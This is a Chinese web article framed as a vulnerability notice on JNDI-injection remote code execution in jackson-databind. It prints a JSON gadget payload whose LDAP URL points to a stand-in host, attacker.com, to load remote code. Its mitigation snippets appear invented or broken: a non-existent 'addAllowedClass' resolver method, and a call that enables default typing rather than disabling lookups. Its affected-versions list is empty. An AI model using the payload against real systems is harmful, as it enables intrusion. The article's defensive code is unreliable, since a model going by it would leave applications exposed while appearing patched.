如何进行JNDI注入导致远程代码执行漏洞jackson-databind-2653的通告

发布时间:2021-12-21 09:23:44 作者:柒染
来源:亿速云 阅读:218

如何进行JNDI注入导致远程代码执行漏洞jackson-databind-2653的通告

概述

Jackson-databind是一个广泛使用的Java库,用于将Java对象序列化为JSON格式,以及将JSON反序列化为Java对象。然而,在特定版本中,Jackson-databind存在一个严重的安全漏洞,编号为CVE-2019-12384(也称为jackson-databind-2653)。该漏洞允许攻击者通过JNDI注入实现远程代码执行(RCE),从而完全控制受影响的系统。

本文将详细介绍该漏洞的背景、原理、影响范围以及如何防范和修复。

背景

JNDI(Java Naming and Directory Interface)是Java提供的一个API,用于访问命名和目录服务。JNDI注入是一种攻击技术,攻击者通过操纵JNDI查找的URL,使其指向恶意服务器,从而触发远程代码执行。

Jackson-databind库在反序列化过程中,如果未正确配置,可能会允许攻击者通过JNDI注入执行任意代码。该漏洞主要影响Jackson-databind 2.9.9及之前的版本。

漏洞原理

Jackson-databind库在反序列化过程中,会调用对象的setter方法。如果反序列化的对象包含JNDI相关的属性,攻击者可以通过构造恶意的JSON数据,触发JNDI查找,从而执行远程代码。

具体来说,攻击者可以构造一个包含javax.naming.InitialContext对象的JSON数据,并将其发送到目标服务器。当服务器反序列化该JSON数据时,会触发JNDI查找,攻击者可以通过控制JNDI查找的URL,使其指向恶意服务器,从而执行任意代码。

影响范围

该漏洞主要影响以下版本的Jackson-databind库:

如果您的应用程序使用了这些版本的Jackson-databind库,并且未正确配置反序列化过程,那么您的应用程序可能面临远程代码执行的风险。

漏洞利用示例

以下是一个简单的漏洞利用示例:

{
  "@class": "com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName": "ldap://attacker.com/Exploit",
  "autoCommit": true
}

在这个示例中,攻击者构造了一个包含JdbcRowSetImpl对象的JSON数据,并将其dataSourceName属性设置为指向恶意服务器的LDAP URL。当服务器反序列化该JSON数据时,会触发JNDI查找,从而执行恶意代码。

防范措施

为了防范该漏洞,建议采取以下措施:

  1. 升级Jackson-databind库:将Jackson-databind库升级到2.9.10或更高版本。这些版本已经修复了该漏洞。

  2. 禁用JNDI查找:在反序列化过程中,禁用JNDI查找功能。可以通过配置Jackson-databind库的ObjectMapper对象来实现:

   ObjectMapper mapper = new ObjectMapper();
   mapper.enableDefaultTyping();
   mapper.setDefaultTyping(null);
  1. 限制反序列化类:通过配置Jackson-databind库的ObjectMapper对象,限制反序列化的类。可以使用SimpleTypeResolverBuilder来指定允许反序列化的类:
   SimpleTypeResolverBuilder typeResolver = new SimpleTypeResolverBuilder();
   typeResolver.addAllowedClass("com.example.SafeClass");
   mapper.setDefaultTyping(typeResolver);
  1. 输入验证:在接收和处理JSON数据时,进行严格的输入验证,确保数据符合预期格式,避免恶意数据的注入。

修复建议

如果您使用的是受影响的Jackson-databind版本,建议立即采取以下修复措施:

  1. 升级到最新版本:将Jackson-databind库升级到2.9.10或更高版本。这些版本已经修复了该漏洞。

  2. 应用安全补丁:如果无法立即升级,可以应用相关的安全补丁。请参考Jackson-databind的官方文档或安全公告,获取最新的补丁信息。

  3. 审查代码:审查应用程序中所有使用Jackson-databind库的代码,确保反序列化过程的安全性。特别是要检查是否有可能触发JNDI查找的代码路径。

  4. 监控和日志记录:加强系统的监控和日志记录,及时发现和响应潜在的攻击行为。

结论

Jackson-databind-2653漏洞是一个严重的安全问题,可能导致远程代码执行。通过升级库、禁用JNDI查找、限制反序列化类以及加强输入验证,可以有效防范该漏洞。建议所有使用Jackson-databind库的开发者和运维人员立即采取行动,确保系统的安全性。

参考链接


通过以上措施,您可以有效防范和修复Jackson-databind-2653漏洞,确保您的应用程序免受远程代码执行的威胁。

推荐阅读:
  1. JScript脚本引擎如何远程代码执行漏洞通告
  2. TeamViewer 远程代码执行漏洞CVE-2020-13699的通告是怎样的

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

jndi

上一篇:SAP Fiori应用的搜索问题实例分析

下一篇:网站防火墙探测工具Wafw00f有什么用

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》